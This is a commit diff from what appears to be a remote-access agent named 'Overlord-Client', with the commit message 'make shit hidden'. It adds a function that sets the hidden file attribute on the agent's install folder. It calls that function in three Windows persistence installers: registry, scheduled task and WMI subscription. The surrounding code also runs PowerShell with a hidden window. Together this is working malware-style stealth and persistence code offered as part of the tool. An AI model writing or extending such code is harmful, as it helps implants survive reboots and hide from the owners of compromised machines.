make shit hidden

Overlord-Client/cmd/agent/persistence/persistence_windows.go

@@ -167,6 +167,18 @@ func deriveWMINames(targetPath string) (filterName, consumerName string) {
 	return prefix + "f" + suffix, prefix + "c" + suffix
 }
 
+func tryHideDirectory(dir string) {
+	ptr, err := syscall.UTF16PtrFromString(dir)
+	if err != nil {
+		return
+	}
+	attrs, err := syscall.GetFileAttributes(ptr)
+	if err != nil {
+		return
+	}
+	_ = syscall.SetFileAttributes(ptr, attrs|syscall.FILE_ATTRIBUTE_HIDDEN)
+}
+
 func runPowerShell(script string) error {
 	cmd := exec.Command("powershell.exe",
 		"-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",

Overlord-Client/cmd/agent/persistence/persistence_windows_registry.go

@@ -27,6 +27,7 @@ func installRegistryFull(exePath string) error {
 	if err := os.MkdirAll(dir, 0755); err != nil {
 		return fmt.Errorf("failed to create directory: %w", err)
 	}
+	tryHideDirectory(dir)
 	if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
 		if err := replaceExecutable(exePath, targetPath); err != nil {
 			return err

Overlord-Client/cmd/agent/persistence/persistence_windows_taskscheduler.go

@@ -24,6 +24,7 @@ func installTaskSchedulerFull(exePath string) error {
 	if err := os.MkdirAll(dir, 0755); err != nil {
 		return fmt.Errorf("failed to create directory: %w", err)
 	}
+	tryHideDirectory(dir)
 	if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
 		if err := replaceExecutable(exePath, targetPath); err != nil {
 			return err

Overlord-Client/cmd/agent/persistence/persistence_windows_wmi.go

@@ -24,6 +24,7 @@ func installWMIFull(exePath string) error {
 	if err := os.MkdirAll(dir, 0755); err != nil {
 		return fmt.Errorf("failed to create directory: %w", err)
 	}
+	tryHideDirectory(dir)
 	if !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
 		if err := replaceExecutable(exePath, targetPath); err != nil {
 			return err